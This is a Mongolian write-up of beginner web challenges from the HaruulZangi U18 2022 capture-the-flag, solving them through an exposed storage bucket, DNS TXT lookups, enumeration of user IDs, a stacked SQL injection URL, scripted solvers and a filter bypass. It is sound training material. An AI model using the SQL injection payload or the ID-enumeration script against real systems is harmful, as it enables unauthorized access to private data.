HaruulZangi U18 2022 Web challenge Writeups (Round 1)
Cloud Engineer
Монгол инженерууд заримдаа тохиргоогоо буруу хийх юм тэ? flag.txt файлыг олоорой. Холбоос: https://cloud-engineer.u18.haruulzangi.mn/
Хэрэв тухайн холбоосоор орж үзвэл дараах үүлний зураг гарч ирэх болно.

Source code-г нь харж үзэхэд тухайн зураг нь Google Cloud Storage дээр байрлаж байгаа нь харагдана.

Тухайн зургийн холбоосоор ороод clouds.jpeg хасаад ороход тухайн folder доторх файлууд XML-р харагдах болно.

Тэгвэл ард нь flag.txt нэмээд ороод үзэхэд flag гарч ирэх болно 😊
HZU18{Cl00ud_St0r@g#_f3830d5c1b}
Donut Name System
Наба DNS-ыг Donut Name System гэж боддог. Тэр системд нууцуудаа хадгалаж болох юм уу? Холбоос: https://donut-name-system.u18.haruulzangi.mn/
Мэдээж дүрмийн дагуу тухайн холбоосоор орж үзнэ 😂

Өөдөөс маш амттай харагдаж буй donut гарч ирлээ. Гэхдээ энд donut ямар ч хамаагүй шүү 👌. Даалгаврын нэрийг харвал DNS юм байна гэдгийг ойлгож болно. Тэгвэл source code-н хараад үзье.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Donut Name System</title>
<meta name="flag" content="See: dns.u18.haruulzangi.mn" />
</head>
<body>
<img src="./keep-donuts-fresh.jpeg" />
</body>
</html>
Сайн харвал <meta name="flag" content="See: dns.u18.haruulzangi.mn" /> хэсэг маш онцгойрч харагдана. See: гэдэг утгаас нь харахад биднийг энэ домэйн нэр дээрх DNS-г шалгаад үз гэсэн hint өгч байгаа мэт 🤔
Тухайн домэйн дээрх DNS-г шалгахын тулд бидэнд digкомманд хэрэг болно. Хэрэв суулгаагүй бол sudo apt install dnsutils гээд бичээд суулгах боломжтой.
За тэгвэл шалгаад үзье. dig dns.u18.haruulzangi.mn гэж бичихэд бидэнд хэрэгтэй мэдээлэл гарч ирсэнгүй.
Тэгвэл flag мань TXT record дээр байх магадлалтай гэж үзээд dig dns.u18.haruulzangi.mn txt гэж шалгаад үзье.
Бидний хэрэгтэй flag гарч ирлээ 🤟
HZU18{DNS_3v3rywh3r3_e7b5960100}
My customers
Хасаа өөрийн гэсэн хувцасны брендийнхээ урьдчислан захиалга авах API хийжээ. Одоогоор 100 хэрэглэгч бүртгүүлээд байна. User-ын ID-г нэмэгддэг тоогоор хийх нь зөв үү? Холбоос: https://my-customers.u18.haruulzangi.mn/user
Тухайн холбоосоор орж үзэхэд доорх текст гарч ирнэ.

Эндээс харвал энгийн User API байх бөгөөд https://my-customers.u18.haruulzangi.mn/user/1 гээд үзэхэд 1 гэсэн id-тай хэрэглэгчийн мэдээллийг гаргах болно.
{"id":1,"firstName":"Mekhi","lastName":"D'Amore","email":"Zachary_Kuhn53@hotmail.com","phone":"1-377-678-4096 x81626","address":"458 Wintheiser Place","city":"East Vitoberg","state":"Oklahoma","zip":"57905","company":"Emmerich and Sons","avatar":"https://cloudflare-ipfs.com/ipfs/Qmd3W5DuhgHirLHGVixi6V76LhCkZUz6pnFt5AJBiyvHye/avatar/496.jpg"}
Тэгвэл эхлээд 100 дээр шалгахад User not found гэсэн бичиг гарна. Үүн дээрээс харвал 0-ээс 99 хүртэл id-тай хэрэглэгчид байгаа гэсэн үг.
Магадгүй 0-ээс 99 хүртэл flag байгаа үгүйг мэдэх код бичиж үзье.
import requests
for i in range(0, 100):
userID = str(i)
URL = "https://my-customers.u18.haruulzangi.mn/user/" + userID
page = requests.get(URL)
content = str(page.content.decode('utf8'))
if content.find('HZU18{') != -1:
flag = content[content.find('HZU18{'):]
break
else:
flag = "Oldsongui"
print("Flag: ", flag)
Амжилттай flag-аа олж чадлаа! 😊
HZU18{9b36fa+NICE_LIST_0e7635b84cefe035}
Vaccine
Вакцин бол нэг ёсны injection юм даа. Холбоос 1: https://vaccine.u18.haruulzangi.mn/vaccine Холбоос 2: https://vaccine.u18.haruulzangi.mn/vaccine/1
Эхний холбоосоор орж үзэхэд 5-н төрлийн вакцины json мэдээлэл байгаа харагдана:
Дараагийн холбоосоор ороход 1 гэсэн id-тай вакцины мэдээлэл харагдана. Энэ холбоосноос харахад PostgreSQL ашигласан байгааг анзаарч болно.
За тэгвэл энгийн SQL Injection хийж үзэцгэе. Бид хамгийн эхлээд ямар ямар table байгааг мэдэх хэрэгтэй. Үүнд SELECT table_name FROM information_schema.tables-г ашиглаж үзье. https://vaccine.u18.haruulzangi.mn/vaccine/1;SELECT%20table_name%20FROM%20information_schema.tables гээд үзэхэд бүх table мэдээлэл гарч ирэх болно.
Эндээс flag гэх table байх бөгөөд энэ дээр injection хийцгэе. SELECT * FROM flag ашиглан https://vaccine.u18.haruulzangi.mn/vaccine/1;SELECT%20*%20FROM%20flag гэж ороход бидний flag гарч ирнэ 🤟

HZU18{sQL-!nj3ct3on—nice}
Arithmetic expression
Мэддэг тооноос чинь арай өөр байх болно. Холбоос: https://math.u18.haruulzangi.mn/
Тухайн холбоосоор ороход дараах бодлого гарч ирнэ
Гэхдээ 5 секунд тутам тухайн бодлого солигдон шинэ бодлого гарч ирнэ. Тэгэхээр бидэнд гараар бодох ямар ч боломж байхгүй. Зөвхөн өөрсдөө script бичиж л flag-аа авах боломжтой.
Сайн анзаарахад нийт 5н md5-аар encrypt хийгдсэн тоо байх бөгөөд бидэнд хамгийн түрүүнд үүнийг decrypt хийх хэрэгтэй.
Хамгийн эхлээд гараар аргаар 10 орчим тоог https://www.md5online.org/md5-decrypt.html дээр decrypt хийж үзэхэд бүгд 0-ээс 100 хүртэлх тоонууд байв. Тэгвэл зөвхөн 0-100 хооронд дурын тоо байна гэж үзээд тухайн бүх тоог md5 encrypt хийж array дотор хадгалъя.
import hashlib
arr=[]
for i in range(0, 100):
hash = str(i)
result = hashlib.md5(hash.encode('utf-8'))
arr.append(result.hexdigest())
Үүний дараа тухайн encrypt хийгдсэн тоог энгийн тоо болгодог function бичье.
def find(num):
for i in range(0, 100):
if(arr[i] == num):
return i
Эцэст нь тухайн веб-н source кодоос тухайн тоонуудаа авч бодоод илгээдэг код бичье. Гэхдээ илгээхдээ хашаа Post request хийх ёстойгоо шалгах хэрэгтэй. Source code харвал:
<form action="/sum" method="POST">
<!-- Бодлого -->
<input type="text" name="sum" >
<input type="submit" >
</form>
https://math.u18.haruulzangi.mn/sum холбоос руу {sum: Хариу} хэлбэрээр илгээх ёстойг харж болно.
from bs4 import BeautifulSoup
import requests
import hashlib
arr=[]
for i in range(0, 100):
hash = str(i)
result = hashlib.md5(hash.encode('utf-8'))
arr.append(result.hexdigest())
def find(num):
for i in range(0, 100):
if(arr[i] == num):
return i
def calc(num1, num2, c):
if c == "+":
return num1 + num2
if c == "-":
return num1 - num2
if c == "*":
return num1 * num2
if c == "/":
return num1 / num2
URL = "https://math.u18.haruulzangi.mn/"
page = requests.get(URL)
soup = BeautifulSoup(page.content, "html.parser")
numbers = soup.find("form")
txt = numbers.text.split()
sum = calc(find(txt[6][1:]), find(txt[8][:-1]), txt[7])
sum1 = calc(find(txt[0]), find(txt[2]), txt[1])
sum2 = calc(sum1, find(txt[4]), txt[3])
total = calc(sum2, sum, txt[5])
url = 'https://math.u18.haruulzangi.mn/sum'
mathResult = {'sum': total}
res = requests.post(url, data = mathResult)
print(res.text)
Дээрх script ажиллуулахад flag гарч ирэх болно.
hz{u_r_so_good_at_math}
Chanasan tolgoi
Толгой хэр чухал байдаг вэ? Холбоос: https://chanasan-tolgoi.u18.haruulzangi.mn/
Мэдээж ордгоороо холбоосоор ороод харвал маш амттай чанасан толгой гарч ирнэ 😋

Source code шалгахад хоосон хэрэгтэй юм байсангүй. Тэгвэл сайн даалгавраа уншаад бодоцгооё.
Чанасан Толгой
Толгой буюу англиар Header. Тэгвэл эндээс бодоод үзэхэд тухайн веб руу request хийхэд ямар Header-тэй байгааг шалгацгаая. Ингэхдээ (Chrome) F12 -> Network -> Ctrl+R (Refresh хийх хэрэгтэй).
Refresh хийсний дараа ийм дүр зураг бид харах болно. Тухайн холбоос дээр 2 товшоод бидэнд Header information харуулна. Сайн ухаад үзэхэд Response Headers дотор flag-аа олох боломжтой.

HZU18{M0ng0l1@n_f00d_v3ry_t@stY}
Shiir
CRA гэж юу вэ? яадаг юм бол оо? Холбоос: https://shiir.u18.haruulzangi.mn/
Холбоосоор орох үед доорх зураг гарч ирнэ.

CRA гэдэг нь Create React App гэсэн үгний товчлол бөгөөд анзаарахад ReactJS дээр бичсэн вебсайт байв. За тэгээд доторх кодыг нь харахад /static/js/main.53234283.js нэртэй JS файл олдоно. ReactJS учир энд бүх хэрэгтэй мэдээлэл байгаа гэж ойлгож болно. Ороод үзэхэд маш урт Javascript байх болно.
Хамгийн энгийн бүхэн сайхан гэдэг шиг CTRL+F дараад HZ гэж бичээд хайхад бидний flag гарч ирнэ 👌
HZU18{d0_n0t_US3_ENV-f0r_s3cr3tZZ}
Stay consistent
Тууштай байдал амжилтанд хүргэнэ Холбоос: https://searchid.u18.haruulzangi.mn
Вебсайт руу ороход доорх дүр зураг гарч ирнэ.

Go to гэж байгаа юм чинь тухайн хаягаар орж үзье.
Дахиад шинэ хаяг гараад ирлээ. Дахин орж үзэхэд дахин шинэ хаяг гарч ирнэ. Даалгавар дээр Тууштай байдал амжилтанд хүргэнэ гэсэн юм чинь маш олон удаа энэ үйлдлийг давтаж байж бид флагаа олж авч чадах байх. Тийм учраас гараар хийвэл маш удах тул script бичицгээе.
import requests
from bs4 import BeautifulSoup
newLink = "/"
for i in range(0, 1010):
URL = "https://searchid.u18.haruulzangi.mn" + newLink
page = requests.get(URL)
soup = BeautifulSoup(page.content, "html.parser")
content = soup.find("div")
txt = content.text.split()
newLink = txt[2]
print(i, content.text)
Энэ script нь тухайн үйлдлийг 1010 удаа давтана. Уг script-г ажиллуулахад 1002 дэх үйлдэл дээр flag мань гарч ирж байгааг харах боломжтой 😊
hz{yeaa_finally_u_got_it}
Untrustworthy filtering
See how pregreplace works Холбоос: https://pregreplace.u18.haruulzangi.mn
Холбоосоор ороход доорх зүйл гарч ирнэ.

See the source code дээр дараад орвол:
PHP дээр бичсэн код гарч ирнэ.
preg_replace() нь тухайн текст дотор үг олоод тэрийг нь өөр үгээр оруулах функц юм. Жишээ нь:
<?php
$str = 'Sain uu, Sanchir?';
echo preg_replace('/Sanchir/', 'Bataa', $str);
?>
Гэсэн код байлаа гэхэд Sanchir гэсэн нэр Bataa болж солигдоод Sain uu, Bataa? болно гэсэн үг юм. За тэгвэл кодыг сайн анзаараад харвал id гэсэн GET parament аваад HaRuUl18ZaNGi18U18 гэдэг үгийг хасвал (учир нь сольж байгаа утга дээр ‘’ байгаа тул хасагдана) буцаад HaRuUl18ZaNGi18U18 үлдэж байвал flag гарч ирнэ гэдгийг харж болно. Логикоор бодоход HaRuUl18ZaNGi18U18 үгийг голоор нь 2 хуваагаад дунд нь энэ үгээ бүтнээр нь холбоход болно гэсэн үг: HaRuUl18HaRuUl18ZaNGi18U18ZaNGi18U18 Тодруулсан хэсгээг хасвал буцаад HaRuUl18ZaNGi18U18 үг үүснэ. Ингээд холбоосны араас id нэмж өгөөд https://pregreplace.u18.haruulzangi.mn/?id=HaRuUl18HaRuUl18ZaNGi18U18ZaNGi18U18 гэж орвол flag мань гарч ирэх болно.
hz{3asy-Funkshin-bYpaSS}